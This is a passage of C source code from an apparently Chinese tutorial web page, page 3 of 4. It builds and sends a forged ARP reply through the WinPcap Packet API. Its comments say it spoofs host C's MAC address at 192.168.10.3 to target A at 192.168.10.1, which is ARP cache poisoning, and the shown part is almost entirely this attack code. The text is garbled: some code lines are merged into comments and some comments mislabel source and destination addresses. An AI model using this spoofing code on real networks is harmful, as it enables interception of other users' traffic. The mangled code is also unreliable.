| 
 ZeroMemory(szPacketBuf, sizeof(szPacketBuf));  if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){
 printf("Get Mac address error!\n");
 }
 memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
  if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){
 printf("Get Mac address error!\n");
 return 0;
 }
 
 memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
  ARPPacket.ehhdr.eh_type = htons(EPT_ARP);  ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);
 ARPPacket.arphdr.arp_hln = 6;
 ARPPacket.arphdr.arp_pln = 4;
 ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
  if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){
 printf("Get Mac address error!\n");
 return 0;
 }
  memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
  if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){
 printf("Get Mac address error!\n");
 return 0;
 }
 
 memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目标A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址
  memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);
  if (PacketSetNumWrites(lpAdapter, 2) == FALSE){
 printf("warning: Unable to send more than one packet ina single write ! \n ");
 }
  if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE){
 printf("Error sending the packets!\n"); return 0;
 }
  printf("Send ok!\n");  // close the adapter and exitPacketFreePacket(lpPacket);
 PacketCloseAdapter(lpAdapter);
 return 0;
 }
 
		      
		      
		      
		      
		      
		      
                        共4页: 上一页 [1] [2] 3 [4] 下一页 |